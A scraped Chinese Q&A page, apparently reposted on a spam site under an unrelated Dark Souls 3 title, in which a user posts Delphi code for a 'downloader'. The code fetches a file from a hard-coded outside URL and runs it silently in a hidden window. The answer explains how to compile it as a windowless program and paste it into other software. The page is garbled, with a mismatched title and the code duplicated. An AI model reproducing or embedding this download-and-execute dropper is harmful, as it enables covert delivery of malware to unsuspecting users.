查人人中国名人网黑暗之魂3天使怎么杀:命令行下的工具怎样转换为 GUI ？
来源：百度文库 编辑：查人人中国名人网 时间：2024/05/05 07:14:47
我得到了一下代码；运行后能生成一个exe文件只有15.5K，但是很不直观！要用的时候还要在Delphi中把文件的下载地址改一下。
请问：把它转化为GUI界面的程序的话，哪些代码是有用的？或者说怎样用Delphi来写下载者？
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
program lls90;
uses
URLMon, ShellApi;
var
u,l: pchar;
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
GetMem(u,100);
GetMem(l,100);
u:='http://www.07188.cn/Soft/Uploadruanjian/200608/wb561.rar';//改为你要的资源地址
l:='c:/jr5.rar';//改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0;
except
Result := False;
end;
end;
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar('open'), PChar(l),
PChar(''), nil, 0)
end;
freemem(u);
freemem(l);
end.
请问：把它转化为GUI界面的程序的话，哪些代码是有用的？或者说怎样用Delphi来写下载者？
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
program lls90;
uses
URLMon, ShellApi;
var
u,l: pchar;
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean;
begin
GetMem(u,100);
GetMem(l,100);
u:='http://www.07188.cn/Soft/Uploadruanjian/200608/wb561.rar';//改为你要的资源地址
l:='c:/jr5.rar';//改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0;
except
Result := False;
end;
end;
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar('open'), PChar(l),
PChar(''), nil, 0)
end;
freemem(u);
freemem(l);
end.
你直接在桌面右键新键一个扩展名为 dpr 的文件然后把上面的代码复制进去,然后用 Delphi 打开直接编译就可以生成一个没有界面,也不是控制台的程序,如果你想在其他程序中使用就比较简单,不用说了吧,需要的地方直接复制进去就是了!